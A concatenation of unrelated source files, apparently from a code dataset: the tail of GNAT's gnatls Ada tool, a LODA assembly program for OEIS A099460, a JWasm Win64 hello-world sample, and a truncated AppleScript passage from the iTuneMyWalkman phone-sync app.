Write_Eol; Write_Str (" Name => "); Write_Str (Name_Buffer (1 .. Name_Len)); Write_Eol; Write_Str (" Kind => "); if Units.Table (U_Id).Unit_Kind = 'p' then Write_Str ("package "); else Write_Str ("subprogram "); end if; if Kind = 's' then Write_Str ("spec"); else Write_Str ("body"); end if; end if; if Verbose_Mode then if U.Preelab or U.No_Elab or U.Pure or U.Dynamic_Elab or U.Has_RACW or U.Remote_Types or U.Shared_Passive or U.RCI or U.Predefined or U.Internal or U.Is_Generic or U.Init_Scalars or U.SAL_Interface or U.Body_Needed_For_SAL or U.Elaborate_Body then Write_Eol; Write_Str (" Flags =>"); if U.Preelab then Write_Str (" Preelaborable"); end if; if U.No_Elab then Write_Str (" No_Elab_Code"); end if; if U.Pure then Write_Str (" Pure"); end if; if U.Dynamic_Elab then Write_Str (" Dynamic_Elab"); end if; if U.Has_RACW then Write_Str (" Has_RACW"); end if; if U.Remote_Types then Write_Str (" Remote_Types"); end if; if U.Shared_Passive then Write_Str (" Shared_Passive"); end if; if U.RCI then Write_Str (" RCI"); end if; if U.Predefined then Write_Str (" Predefined"); end if; if U.Internal then Write_Str (" Internal"); end if; if U.Is_Generic then Write_Str (" Is_Generic"); end if; if U.Init_Scalars then Write_Str (" Init_Scalars"); end if; if U.SAL_Interface then Write_Str (" SAL_Interface"); end if; if U.Body_Needed_For_SAL then Write_Str (" Body_Needed_For_SAL"); end if; if U.Elaborate_Body then Write_Str (" Elaborate Body"); end if; if U.Remote_Types then Write_Str (" Remote_Types"); end if; if U.Shared_Passive then Write_Str (" Shared_Passive"); end if; if U.Predefined then Write_Str (" Predefined"); end if; end if; declare Restrictions : constant Restrictions_Info := ALIs.Table (ALI).Restrictions; begin -- If the source was compiled with pragmas Restrictions, -- Display these restrictions. if Restrictions.Set /= (All_Restrictions => False) then Write_Eol; Write_Str (" pragma Restrictions =>"); -- For boolean restrictions, just display the name of the -- restriction; for valued restrictions, also display the -- restriction value. for Restriction in All_Restrictions loop if Restrictions.Set (Restriction) then Write_Eol; Write_Str (" "); Write_Str (Image (Restriction)); if Restriction in All_Parameter_Restrictions then Write_Str (" =>"); Write_Str (Restrictions.Value (Restriction)'Img); end if; end if; end loop; end if; -- If the unit violates some Restrictions, display the list of -- these restrictions. if Restrictions.Violated /= (All_Restrictions => False) then Write_Eol; Write_Str (" Restrictions violated =>"); -- For boolean restrictions, just display the name of the -- restriction; for valued restrictions, also display the -- restriction value. for Restriction in All_Restrictions loop if Restrictions.Violated (Restriction) then Write_Eol; Write_Str (" "); Write_Str (Image (Restriction)); if Restriction in All_Parameter_Restrictions then if Restrictions.Count (Restriction) > 0 then Write_Str (" =>"); if Restrictions.Unknown (Restriction) then Write_Str (" at least"); end if; Write_Str (Restrictions.Count (Restriction)'Img); end if; end if; end if; end loop; end if; end; end if; if Print_Source then if Too_Long then Write_Eol; Write_Str (" "); else Write_Str (Spaces (Unit_Start + Name_Len + 1 .. Unit_End)); end if; end if; end if; end Output_Unit; ----------------- -- Reset_Print -- ----------------- procedure Reset_Print is begin if not Selective_Output then Selective_Output := True; Print_Source := False; Print_Object := False; Print_Unit := False; end if; end Reset_Print; ------------------- -- Scan_Ls_Arg -- ------------------- procedure Scan_Ls_Arg (Argv : String) is FD : File_Descriptor; Len : Integer; begin pragma Assert (Argv'First = 1); if Argv'Length = 0 then return; end if; if Argv (1) = '-' then if Argv'Length = 1 then Fail ("switch character cannot be followed by a blank"); -- Processing for -I- elsif Argv (2 .. Argv'Last) = "I-" then Opt.Look_In_Primary_Dir := False; -- Forbid -?- or -??- where ? is any character elsif (Argv'Length = 3 and then Argv (3) = '-') or else (Argv'Length = 4 and then Argv (4) = '-') then Fail ("Trailing ""-"" at the end of ", Argv, " forbidden."); -- Processing for -Idir elsif Argv (2) = 'I' then Add_Source_Dir (Argv (3 .. Argv'Last)); Add_Lib_Dir (Argv (3 .. Argv'Last)); -- Processing for -aIdir (to gcc this is like a -I switch) elsif Argv'Length >= 3 and then Argv (2 .. 3) = "aI" then Add_Source_Dir (Argv (4 .. Argv'Last)); -- Processing for -aOdir elsif Argv'Length >= 3 and then Argv (2 .. 3) = "aO" then Add_Lib_Dir (Argv (4 .. Argv'Last)); -- Processing for -aLdir (to gnatbind this is like a -aO switch) elsif Argv'Length >= 3 and then Argv (2 .. 3) = "aL" then Add_Lib_Dir (Argv (4 .. Argv'Last)); -- Processing for -nostdinc elsif Argv (2 .. Argv'Last) = "nostdinc" then Opt.No_Stdinc := True; -- Processing for one character switches elsif Argv'Length = 2 then case Argv (2) is when 'a' => Also_Predef := True; when 'h' => Print_Usage := True; when 'u' => Reset_Print; Print_Unit := True; when 's' => Reset_Print; Print_Source := True; when 'o' => Reset_Print; Print_Object := True; when 'v' => Verbose_Mode := True; when 'd' => Dependable := True; when 'V' => Very_Verbose_Mode := True; when others => null; end case; -- Processing for -files=file elsif Argv'Length > 7 and then Argv (1 .. 7) = "-files=" then FD := Open_Read (Argv (8 .. Argv'Last), GNAT.OS_Lib.Text); if FD = Invalid_FD then Osint.Fail ("could not find text file """ & Argv (8 .. Argv'Last) & '"'); end if; Len := Integer (File_Length (FD)); declare Buffer : String (1 .. Len + 1); Index : Positive := 1; Last : Positive; begin -- Read the file Len := Read (FD, Buffer (1)'Address, Len); Buffer (Buffer'Last) := ASCII.NUL; Close (FD); -- Scan the file line by line while Index < Buffer'Last loop -- Find the end of line Last := Index; while Last <= Buffer'Last and then Buffer (Last) /= ASCII.LF and then Buffer (Last) /= ASCII.CR loop Last := Last + 1; end loop; -- Ignore empty lines if Last > Index then Add_File (Buffer (Index .. Last - 1)); end if; Index := Last; -- Find the beginning of the next line while Buffer (Index) = ASCII.CR or else Buffer (Index) = ASCII.LF loop Index := Index + 1; end loop; end loop; end; -- Processing for --RTS=path elsif Argv'Length >= 5 and then Argv (1 .. 5) = "--RTS" then if Argv'Length <= 6 or else Argv (6) /= '='then Osint.Fail ("missing path for --RTS"); else -- Check that it is the first time we see this switch or, if -- it is not the first time, the same path is specified. if RTS_Specified = null then RTS_Specified := new String'(Argv (7 .. Argv'Last)); elsif RTS_Specified.all /= Argv (7 .. Argv'Last) then Osint.Fail ("--RTS cannot be specified multiple times"); end if; -- Valid --RTS switch Opt.No_Stdinc := True; Opt.RTS_Switch := True; declare Src_Path_Name : constant String_Ptr := String_Ptr (Get_RTS_Search_Dir (Argv (7 .. Argv'Last), Include)); Lib_Path_Name : constant String_Ptr := String_Ptr (Get_RTS_Search_Dir (Argv (7 .. Argv'Last), Objects)); begin if Src_Path_Name /= null and then Lib_Path_Name /= null then Add_Search_Dirs (Src_Path_Name, Include); Add_Search_Dirs (Lib_Path_Name, Objects); elsif Src_Path_Name = null and then Lib_Path_Name = null then Osint.Fail ("RTS path not valid: missing " & "adainclude and adalib directories"); elsif Src_Path_Name = null then Osint.Fail ("RTS path not valid: missing " & "adainclude directory"); elsif Lib_Path_Name = null then Osint.Fail ("RTS path not valid: missing " & "adalib directory"); end if; end; end if; end if; -- If not a switch, it must be a file name else Add_File (Argv); end if; end Scan_Ls_Arg; ----------- -- Usage -- ----------- procedure Usage is begin -- Usage line Write_Str ("Usage: "); Osint.Write_Program_Name; Write_Str (" switches [list of object files]"); Write_Eol; Write_Eol; -- GNATLS switches Write_Str ("switches:"); Write_Eol; -- Line for -a Write_Str (" -a also output relevant predefined units"); Write_Eol; -- Line for -u Write_Str (" -u output only relevant unit names"); Write_Eol; -- Line for -h Write_Str (" -h output this help message"); Write_Eol; -- Line for -s Write_Str (" -s output only relevant source names"); Write_Eol; -- Line for -o Write_Str (" -o output only relevant object names"); Write_Eol; -- Line for -d Write_Str (" -d output sources on which specified units " & "depend"); Write_Eol; -- Line for -v Write_Str (" -v verbose output, full path and unit " & "information"); Write_Eol; Write_Eol; -- Line for -files= Write_Str (" -files=fil files are listed in text file 'fil'"); Write_Eol; -- Line for -aI switch Write_Str (" -aIdir specify source files search path"); Write_Eol; -- Line for -aO switch Write_Str (" -aOdir specify object files search path"); Write_Eol; -- Line for -I switch Write_Str (" -Idir like -aIdir -aOdir"); Write_Eol; -- Line for -I- switch Write_Str (" -I- do not look for sources & object files"); Write_Str (" in the default directory"); Write_Eol; -- Line for -nostdinc Write_Str (" -nostdinc do not look for source files"); Write_Str (" in the system default directory"); Write_Eol; -- Line for --RTS Write_Str (" --RTS=dir specify the default source and object search" & " path"); Write_Eol; -- File Status explanation Write_Eol; Write_Str (" file status can be:"); Write_Eol; for ST in File_Status loop Write_Str (" "); Output_Status (ST, Verbose => False); Write_Str (" ==> "); Output_Status (ST, Verbose => True); Write_Eol; end loop; end Usage; -- Start of processing for Gnatls begin -- Initialize standard packages Namet.Initialize; Csets.Initialize; Snames.Initialize; -- Loop to scan out arguments Next_Arg := 1; Scan_Args : while Next_Arg < Arg_Count loop declare Next_Argv : String (1 .. Len_Arg (Next_Arg)); begin Fill_Arg (Next_Argv'Address, Next_Arg); Scan_Ls_Arg (Next_Argv); end; Next_Arg := Next_Arg + 1; end loop Scan_Args; -- Add the source and object directories specified on the -- command line, if any, to the searched directories. while First_Source_Dir /= null loop Add_Src_Search_Dir (First_Source_Dir.Value.all); First_Source_Dir := First_Source_Dir.Next; end loop; while First_Lib_Dir /= null loop Add_Lib_Search_Dir (First_Lib_Dir.Value.all); First_Lib_Dir := First_Lib_Dir.Next; end loop; -- Finally, add the default directories and obtain target parameters Osint.Add_Default_Search_Dirs; if Verbose_Mode then Targparm.Get_Target_Parameters; Write_Eol; Write_Str ("GNATLS "); Write_Str (Gnat_Version_String); Write_Eol; Write_Str ("Copyright 1997-" & Current_Year & ", Free Software Foundation, Inc."); Write_Eol; Write_Eol; Write_Str ("Source Search Path:"); Write_Eol; for J in 1 .. Nb_Dir_In_Src_Search_Path loop Write_Str (" "); if Dir_In_Src_Search_Path (J)'Length = 0 then Write_Str ("<Current_Directory>"); else Write_Str (To_Host_Dir_Spec (Dir_In_Src_Search_Path (J).all, True).all); end if; Write_Eol; end loop; Write_Eol; Write_Eol; Write_Str ("Object Search Path:"); Write_Eol; for J in 1 .. Nb_Dir_In_Obj_Search_Path loop Write_Str (" "); if Dir_In_Obj_Search_Path (J)'Length = 0 then Write_Str ("<Current_Directory>"); else Write_Str (To_Host_Dir_Spec (Dir_In_Obj_Search_Path (J).all, True).all); end if; Write_Eol; end loop; Write_Eol; Write_Eol; Write_Str (Project_Search_Path); Write_Eol; Write_Str (" <Current_Directory>"); Write_Eol; declare Project_Path : constant String_Access := Getenv (Ada_Project_Path); Lib : constant String := Directory_Separator & "lib" & Directory_Separator; First : Natural; Last : Natural; Add_Default_Dir : Boolean := True; begin -- If there is a project path, display each directory in the path if Project_Path.all /= "" then First := Project_Path'First; loop while First <= Project_Path'Last and then (Project_Path (First) = Path_Separator) loop First := First + 1; end loop; exit when First > Project_Path'Last; Last := First; while Last < Project_Path'Last and then Project_Path (Last + 1) /= Path_Separator loop Last := Last + 1; end loop; -- If the directory is No_Default_Project_Dir, set -- Add_Default_Dir to False. if Project_Path (First .. Last) = No_Project_Default_Dir then Add_Default_Dir := False; elsif First /= Last or else Project_Path (First) /= '.' then -- If the directory is ".", skip it as it is the current -- directory and it is already the first directory in the -- project path. Write_Str (" "); Write_Str (Project_Path (First .. Last)); Write_Eol; end if; First := Last + 1; end loop; end if; -- Add the default dir, except if "-" was one of the "directories" -- specified in ADA_PROJECT_DIR. if Add_Default_Dir then Name_Len := 0; Add_Str_To_Name_Buffer (Sdefault.Search_Dir_Prefix.all); -- On Windows, make sure that all directory separators are '\' if Directory_Separator /= '/' then for J in 1 .. Name_Len loop if Name_Buffer (J) = '/' then Name_Buffer (J) := Directory_Separator; end if; end loop; end if; -- Find the sequence "/lib/" while Name_Len >= Lib'Length and then Name_Buffer (Name_Len - 4 .. Name_Len) /= Lib loop Name_Len := Name_Len - 1; end loop; -- If the sequence "/lib"/ was found, display the default -- directory <prefix>/lib/gnat/. if Name_Len >= 5 then Write_Str (" "); Write_Str (Name_Buffer (1 .. Name_Len)); Write_Str ("gnat"); Write_Char (Directory_Separator); Write_Eol; end if; end if; end; Write_Eol; end if; -- Output usage information when requested if Print_Usage then Usage; end if; if not More_Lib_Files then if not Print_Usage and then not Verbose_Mode then Usage; end if; Exit_Program (E_Fatal); end if; Initialize_ALI; Initialize_ALI_Source; -- Print out all library for which no ALI files can be located while More_Lib_Files loop Main_File := Next_Main_Lib_File; Ali_File := Full_Lib_File_Name (Lib_File_Name (Main_File)); if Ali_File = No_File then if Very_Verbose_Mode then GLADE.Output_No_ALI (Lib_File_Name (Main_File)); else Write_Str ("Can't find library info for "); Get_Name_String (Main_File); Write_Char ('"'); -- " Write_Str (Name_Buffer (1 .. Name_Len)); Write_Char ('"'); -- " Write_Eol; end if; else Ali_File := Strip_Directory (Ali_File); if Get_Name_Table_Info (Ali_File) = 0 then Text := Read_Library_Info (Ali_File, True); declare Discard : ALI_Id; pragma Unreferenced (Discard); begin Discard := Scan_ALI (Ali_File, Text, Ignore_ED => False, Err => False, Ignore_Errors => True); end; Free (Text); end if; end if; end loop; if Very_Verbose_Mode then for A in ALIs.First .. ALIs.Last loop GLADE.Output_ALI (A); end loop; return; end if; Find_General_Layout; for Id in ALIs.First .. ALIs.Last loop declare Last_U : Unit_Id; begin Get_Name_String (Units.Table (ALIs.Table (Id).First_Unit).Uname); if Also_Predef or else not Is_Internal_Unit then if ALIs.Table (Id).No_Object then Output_Object (No_File); else Output_Object (ALIs.Table (Id).Ofile_Full_Name); end if; -- In verbose mode print all main units in the ALI file, otherwise -- just print the first one to ease columnwise printout if Verbose_Mode then Last_U := ALIs.Table (Id).Last_Unit; else Last_U := ALIs.Table (Id).First_Unit; end if; for U in ALIs.Table (Id).First_Unit .. Last_U loop if U /= ALIs.Table (Id).First_Unit and then Selective_Output and then Print_Unit then Write_Eol; end if; Output_Unit (Id, U); -- Output source now, unless if it will be done as part of -- outputing dependencies. if not (Dependable and then Print_Source) then Output_Source (Corresponding_Sdep_Entry (Id, U)); end if; end loop; -- Print out list of units on which this unit depends (D lines) if Dependable and then Print_Source then if Verbose_Mode then Write_Str ("depends upon"); Write_Eol; Write_Str (" "); else Write_Eol; end if; for D in ALIs.Table (Id).First_Sdep .. ALIs.Table (Id).Last_Sdep loop if Also_Predef or else not Is_Internal_File_Name (Sdep.Table (D).Sfile) then if Verbose_Mode then Write_Str (" "); Output_Source (D); elsif Too_Long then Write_Str (" "); Output_Source (D); Write_Eol; else Write_Str (Spaces (1 .. Source_Start - 2)); Output_Source (D); Write_Eol; end if; end if; end loop; end if; Write_Eol; end if; end; end loop; -- All done. Set proper exit status Namet.Finalize; Exit_Program (E_Success); end Gnatls;
oeis/099/A099460.asm
neoneye/loda-programs
11
160018
; A099460: A Chebyshev transform of A099459 associated to the knot 9_48. ; Submitted by <NAME> ; 1,7,39,203,1040,5313,27133,138565,707643,3613904,18456077,94254531,481354555,2458260679,12554250288,64114111901,327428500337,1672165762785,8539691368807,43611901581472,222724437852585,1137445821390767,5808895553058431,29665823999497203,151502313224720464,773716951628592265,3951345088371642741,20179379519260530317,103055377010911067459,526300163031484545648,2687796305646822146965,13726480605738541968523,70100650642264230915123,358001541809221925235215,1828301203534169908212848 add $0,1 mov $3,1 lpb $0 sub $0,1 add $1,$4 add $4,$3 sub $4,$2 add $2,$3 add $1,$2 add $4,2 add $4,$1 add $4,1 add $3,$4 lpe mov $0,$2
bin/JWASM/Samples/Win64_6p.asm
Abd-Beltaji/ASMEMU
3
3061
;--- Win64 "hello world" console application. ;--- uses CRT functions (MSVCRT). ;--- unlike Win64_6.asm, this version is to be created with option -pe ;--- ;--- assemble: JWasm -pe Win64_6p.asm .x64 ; -pe requires to set cpu, model & language .model flat, fastcall option casemap:none option frame:auto ; generate SEH-compatible prologues and epilogues option win64:3 ; init shadow space, reserve stack at PROC level option dllimport:<msvcrt> printf proto :ptr byte, :vararg exit proto :dword _kbhit proto _flushall proto option dllimport:NONE .data szFmt db 10,"%u + %u = %u",10,0 .code main proc FRAME invoke printf, addr szFmt, 3, 4, 3+4 .repeat invoke _kbhit .until eax invoke _flushall invoke exit, 0 main endp end main
iTuneMyWalkman.applescript
GloomyJD/itmw
0
305
<filename>iTuneMyWalkman.applescript -- iTuneMyWalkman.applescript -- iTuneMyWalkman (* List of handlers in this script -- EVENT HANDLERS on launched on should open untitled theObject on should quit after last window closed theObject on idle theObject on clicked theObject on choose menu item theObject on change cell value theObject row theRow table column tableColumn value theValue on selection changed theObject -- OWN SUBROUTINES on startsync() on movepics(myprocess) on getsongs() on deleteolds() on putsongs() on copynext() on cleanup() -- HELPER FUNCTIONS on getpath(path) on strip(text, encoding) on convertText(text, encoding) on tcl(tclscript, arglist) on shellcmd(cmd) on whattodo(filetype, bitrate) on updateballs() on scriptsinstalled() on fainstalled() on showprefs() on initprefs() on checkforold() *) property debugging : false property stage : "init" property itmwversion : "0.951" -- This should be updated whenever the iTunes scripts or the folder action script change. -- At startup the value of this property is compared to the value stored in the preferences file. -- If it has changed, we have newer scripts and they are installed at startup. -- Conversion of characters 127 to 194 from unicode to ISO-Latin 1 property ISOConversionList : {196, 197, 199, 201, 209, 214, 220, 225, 224, 226, 228, 227, 229, 231, 233, 232, 234, 235, 237, 236, 238, 239, 241, 243, 242, 244, 246, 245, 250, 249, 251, 252, 134, 176, 162, 163, 167, 149, 182, 223, 174, 169, 153, 180, 168, 149, 198, 216, 149, 177, 149, 149, 165, 181, 149, 149, 149, 149, 149, 170, 186, 149, 230, 248, 191, 161} -- EVENT HANDLERS -- This is called first every time the application starts. on launched global copying set copying to false initprefs() set debugging to contents of default entry "debugging" of user defaults checkforold() end launched -- This handler checks whether iTuneMyWalkman is the frontmost application. -- If yes, the main window is shown as the user probably opened the application directly. -- If not, the call probably came from the iTunes script, so the main window should not be shown. on should open untitled theObject if name of (info for (path to frontmost application)) = name of me & ".app" then considering numeric strings using terms from application "System Events" if system version of (system info) < "10.4" then display alert (localized string "Mac OS X 10.4") buttons {localized string "Quit"} default button 1 quit end if tell application "Finder" to set hasitunes to exists application file id "com.apple.iTunes" if hasitunes then tell application "Finder" to set itunes to name of application file id "com.apple.iTunes" if not hasitunes or version of application itunes as text < "7" then display alert (localized string "iTunes 7") buttons {localized string "Quit"} default button 1 quit end if end using terms from end considering updateballs() try tell application "Finder" to set itunesicon to POSIX path of ((application file id "com.apple.iTunes" as string) & ":Contents:Resources:iTunes.icns") tell application "Finder" to set fasicon to POSIX path of ((application file id "com.apple.FolderActionsSetup" as string) & ":Contents:Resources:Folder Actions Setup.icns") set image of image view "itunes" of window "main" to load image itunesicon set image of image view "fas" of window "main" to load image fasicon end try show window "main" end if end should open untitled -- Quits the application when the last window is closed on should quit after last window closed theObject if stage = "init" or stage = "done" then return true return false end should quit after last window closed -- If the copying of files where done within a single method, the application would be unresponsive to user interaction during that time. -- Instead, the stage property is set to copy, and files are copied individually from the idle handler. on idle theObject set workdone to 0 repeat while stage = "copy" and workdone < 100 set workdone to workdone + 1 + 10 * (copynext()) end repeat return 1 end idle on clicked theObject global musicpath if name of window of theObject = "main" then if name of theObject = "paypal" then open location "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=ilari%2escheinin%40helsinki%2efi&item_name=iTuneMyWalkman&no_shipping=1&no_note=1&tax=0&currency_code=EUR&bn=PP%2dDonationsBF&charset=UTF%2d8" else if name of theObject = "sync" then startsync() else if name of theObject = "prefs" then showprefs() else if name of theObject = "installscripts" then set scriptdir to POSIX path of ((path to library folder from user domain as string) & "iTunes:Scripts:") shellcmd("/bin/mkdir -p " & quoted form of scriptdir) set mydir to (path to me) & "Contents:Resources:Scripts:" as string shellcmd("/bin/cp " & (quoted form of POSIX path of mydir) & "iTMW*.scpt" & " " & quoted form of scriptdir) shellcmd("/bin/rm -f " & quoted form of (scriptdir & "iTMW - Detect Phone.scpt")) updateballs() else if name of theObject = "removescripts" then set scriptdir to POSIX path of ((path to library folder from user domain as string) & "iTunes:Scripts:") shellcmd("/bin/rm -f " & (quoted form of scriptdir) & "iTMW*.scpt") updateballs() else if name of theObject = "installfa" then set fadir to path to Folder Action scripts from user domain as string with folder creation set mydir to (path to me) & "Contents:Resources:Scripts:" as string shellcmd("/bin/cp " & quoted form of POSIX path of (mydir & "iTMW - Detect Phone.scpt") & " " & quoted form of POSIX path of fadir) try tell application "System Events" set folder actions enabled to true attach action to folder "Volumes" of startup disk using (fadir & "iTMW - Detect Phone.scpt") end tell end try updateballs() else if name of theObject = "removefa" then try tell application "System Events" to remove action from folder "Volumes" of startup disk using action name "iTMW - Detect Phone.scpt" end try set fadir to path to Folder Action scripts from user domain as string with folder creation shellcmd("/bin/rm -f " & quoted form of POSIX path of (fadir & "iTMW - Detect Phone.scpt")) updateballs() end if else if name of window of theObject = "progress" then if name of theObject = "stop" then set stage to "stop" cleanup() end if else if name of window of theObject = "prefs" then if name of theObject = "changemusic" then set dir to quoted form of POSIX path of (choose folder "Choose the music folder of the phone:") set contents of text field "musicpath" of box "music" of tab view item "general" of tab view "prefs" of window "prefs" to dir else if name of theObject = "changemove" then set dir to quoted form of POSIX path of (choose folder "Choose the target folder for pictures and videos:") set contents of text field "movepath" of box "move" of tab view item "camera" of tab view "prefs" of window "prefs" to dir else if name of theObject = "changeimage" then set dir to quoted form of POSIX path of (choose folder "Choose the image folder of the phone:") set contents of text field "imagepath" of box "image" of tab view item "camera" of tab view "prefs" of window "prefs" to dir else if name of theObject = "changevideo" then set dir to quoted form of POSIX path of (choose folder "Choose the camera video folder of the phone:") set contents of text field "videopath" of box "video" of tab view item "camera" of tab view "prefs" of window "prefs" to dir else if name of theObject = "newitem" then set contentlist to {} set contentlist to contents of table view "filetypes" of scroll view "filetypes" of tab view item "encode" of tab view "prefs" of window "prefs" copy {".suffix", 0} to end of contentlist set contents of table view "filetypes" of scroll view "filetypes" of tab view item "encode" of tab view "prefs" of window "prefs" to contentlist else if name of theObject = "removeitem" then set contentlist to {} set theRow to selected row of table view "filetypes" of scroll view "filetypes" of tab view item "encode" of tab view "prefs" of window "prefs" if theRow > 0 then set contentlist to contents of table view "filetypes" of scroll view "filetypes" of tab view item "encode" of tab view "prefs" of window "prefs" set newcontentlist to {} repeat with i from 1 to count contentlist if i ≠ theRow then copy item i of contentlist to end of newcontentlist end repeat set contents of table view "filetypes" of scroll view "filetypes" of tab view item "encode" of tab view "prefs" of window "prefs" to newcontentlist end if set enabled of button "removeitem" of tab view item "encode" of tab view "prefs" of window "prefs" to false else if name of theObject = "save" then tell tab view "prefs" of window "prefs" tell tab view item "general" set contents of default entry "musicPath" of user defaults of me to contents of text field "musicpath" of box "music" set contents of default entry "phoneDetected" of user defaults of me to tag of current menu item of popup button "phonedetected" set contents of default entry "askForConfirmation" of user defaults of me to content of button "confirmation" set contents of default entry "SUCheckAtStartup" of user defaults of me to content of button "updates" set contents of default entry "synchronizationComplete" of user defaults of me to tag of current menu item of popup button "endsync" set contents of default entry "sizeLimit" of user defaults of me to (contents of text field "sizelimit" as number) * 1024 * 1024 end tell tell tab view item "playlists" set contents of default entry "syncMusic" of user defaults of me to content of button "syncmusic" set contents of default entry "syncPodcasts" of user defaults of me to content of button "syncpodcasts" set contents of default entry "syncAudiobooks" of user defaults of me to content of button "syncaudiobooks" set contents of default entry "whichPlaylists" of user defaults of me to current row of matrix "whichlists" set contents of default entry "writeM3UPlaylists" of user defaults of me to content of button "writem3uplaylists" set contents of default entry "M3UEncoding" of user defaults of me to tag of current menu item of popup button "m3uencoding" set contents of default entry "M3UPathPrefix" of user defaults of me to content of text field "m3upathprefix" set contents of default entry "M3UPathSeparator" of user defaults of me to content of text field "m3upathseparator" set chosenlists to {} set checkedlist to contents of table view "playlists" of scroll view "playlists" repeat with x in checkedlist if ischecked of x then copy listname of x to end of chosenlists end repeat set contents of default entry "chosenPlaylists" of user defaults of me to chosenlists end tell tell tab view item "folders" set contents of default entry "numberOfDirectoryLevels" of user defaults of me to tag of current menu item of popup button "dirlevel" set contents of default entry "directoryStructure" of user defaults of me to tag of current menu item of popup button "dirstructure" set contents of default entry "playlistFolder" of user defaults of me to content of text field "playlistfolder" set contents of default entry "fixedPodcastFolder" of user defaults of me to content of button "fixedpodcastfolder" set contents of default entry "podcastFolder" of user defaults of me to content of text field "podcastfolder" set contents of default entry "fixedAudiobookFolder" of user defaults of me to content of button "fixedaudiobookfolder" set contents of default entry "audiobookFolder" of user defaults of me to content of text field "audiobookfolder" set od to text item delimiters of AppleScript set text item delimiters of AppleScript to {":"} set excludelist to contents of text field "excludelist" set contents of default entry "dontTouch" of user defaults of me to every text item of excludelist set text item delimiters of AppleScript to od end tell tell tab view item "playcount" set contents of default entry "incrementPlayCountOnSync" of user defaults of me to contents of text field "ionsync" set contents of default entry "incrementPlayCountOnCopy" of user defaults of me to contents of text field "ioncopy" end tell tell tab view item "encode" set contents of default entry "reencoder" of user defaults of me to tag of current menu item of popup button "encoder" of box "encoderbox" set contents of default entry "renameM4BToM4A" of user defaults of me to content of button "renamem4btom4a" of box "encoderbox" set filetypelist to {} set bitratelist to {} set contentlist to {} set contentlist to contents of table view "filetypes" of scroll view "filetypes" repeat with x in contentlist copy filetype of x to end of filetypelist copy bitrate of x to end of bitratelist end repeat set contents of default entry "fileTypes" of user defaults of me to filetypelist set contents of default entry "fileBitRateLimits" of user defaults of me to bitratelist end tell tell tab view item "camera" set contents of default entry "processCameraImages" of user defaults of me to tag of current menu item of popup button "movepics" set contents of default entry "moveImagesTo" of user defaults of me to contents of text field "movepath" of box "move" set contents of default entry "cameraImagePath" of user defaults of me to contents of text field "imagepath" of box "image" set contents of default entry "cameraVideoPath" of user defaults of me to contents of text field "videopath" of box "video" set contents of default entry "handleS60Thumbnails" of user defaults of me to content of button "s60thumbs" end tell end tell hide window "prefs" else if name of theObject = "cancel" then hide window "prefs" end if end if end clicked on choose menu item theObject if name of theObject = "prefs" then tell button "prefs" of window "main" to perform action end choose menu item on change cell value theObject row theRow table column tableColumn value theValue if identifier of tableColumn = "filetype" then if character 1 of theValue = "." then return theValue else return "." & theValue end if else if identifier of tableColumn = "bitrate" then try set x to theValue as number on error return false end try return x end if end change cell value on selection changed theObject if name of theObject is "filetypes" then set theRow to selected row of theObject if theRow = 0 then set enabled of button "removeitem" of tab view item "encode" of tab view "prefs" of window "prefs" to false else set enabled of button "removeitem" of tab view item "encode" of tab view "prefs" of window "prefs" to true end if end if end selection changed -- OWN SUBROUTINES on startsync() if debugging then log "startsync begins" global musicpath set stage to "initsync" set mymusicpath to contents of default entry "musicPath" of user defaults repeat set musicpath to getpath(mymusicpath) if musicpath = "notfound" then using terms from application "System Events" set relocate to display alert (localized string "phone not found") message mymusicpath buttons {localized string "Cancel", localized string "Locate..."} default button 2 end using terms from if button returned of relocate = (localized string "Cancel") then set stage to "done" return end if set mymusicpath to quoted form of POSIX path of (choose folder (localized string "Choose the music folder of the phone:")) set contents of default entry "musicPath" of user defaults of me to mymusicpath else if musicpath = "ambiguous" then using terms from application "System Events" display alert (localized string "ambiguous path") message mymusicpath buttons {localized string "OK"} default button 1 end using terms from return else exit repeat end if end repeat if (contents of default entry "askForConfirmation" of user defaults) then using terms from application "System Events" set confirmation to button returned of (display alert (localized string "confirmation") message musicpath & return & return & (localized string "confirmation2") buttons {localized string "Cancel", localized string "Continue"} default button 1) end using terms from if confirmation = (localized string "Cancel") then return end if global starttime, myencoder, oldenc, mybitrate, mysuffix, mydirlevel, mydirstruct, myincsync, myinccopy, myfiletypelimits, copied, copiedsize, notcopied, total set starttime to current date tell window "progress" set content of text field "status" to "Initializing" set content of text field "song" to "" start progress indicator "progressbar" update show end tell set myprocess to contents of default entry "processCameraImages" of user defaults if (myprocess) > 1 then movepics(myprocess) set myencoder to contents of default entry "reencoder" of user defaults set mydirlevel to contents of default entry "numberOfDirectoryLevels" of user defaults set mydirstruct to contents of default entry "directoryStructure" of user defaults set myincsync to contents of default entry "incrementPlayCountOnSync" of user defaults set myinccopy to contents of default entry "incrementPlayCountOnCopy" of user defaults set filetypelist to contents of default entry "fileTypes" of user defaults of me set bitratelist to contents of default entry "fileBitRateLimits" of user defaults of me set myfiletypelimits to {} repeat with i from 1 to count filetypelist copy {item i of filetypelist, item i of bitratelist} to end of myfiletypelimits end repeat if myencoder ≠ 1 then set emptytrack to (path to me) & "Contents:Resources:empty.m4a" as string tell application "iTunes" set oldenc to current encoder try if myencoder = 3 then set current encoder to encoder "MP3 encoder" set mysuffix to ".mp3" else set current encoder to encoder "AAC encoder" set mysuffix to ".m4a" end if set convertedtrack to convert alias emptytrack set mybitrate to bit rate of item 1 of convertedtrack delete item 1 of convertedtrack my shellcmd("/bin/rm -f " & quoted form of POSIX path of (location of item 1 of convertedtrack)) on error msg tell me to log msg end try end tell end if set total to 0 set copied to 0 set copiedsize to 0 set notcopied to 0 getsongs() deleteolds() putsongs() if debugging then log "startsync ends" end startsync on movepics(myprocess) if debugging then log "movepics begins" tell window "progress" set content of text field "status" to "Moving camera pictures and videos" update end tell global theexcludestring set fils to {} set importlist to {} set myexclude to contents of default entry "dontTouch" of user defaults set s60thumbs to contents of default entry "handleS60Thumbnails" of user defaults set excludestring to {} repeat with x in myexclude if x as string ≠ "" then copy " -not -iname " & (quoted form of x) & " -not -ipath " & quoted form of ("*/" & x & "/*") to end of excludestring end repeat set myimagepath to getpath(contents of default entry "cameraImagePath" of user defaults) if myimagepath ≠ "notfound" and myimagepath ≠ "ambiguous" then if s60thumbs then set imgs to shellcmd("/usr/bin/find " & (quoted form of myimagepath) & " -type f -iname '*.jpg' -not -name '.*'" & excludestring) else set imgs to shellcmd("/usr/bin/find " & (quoted form of myimagepath) & " -type f -not -name '.*'" & excludestring) end if repeat with x in every paragraph of 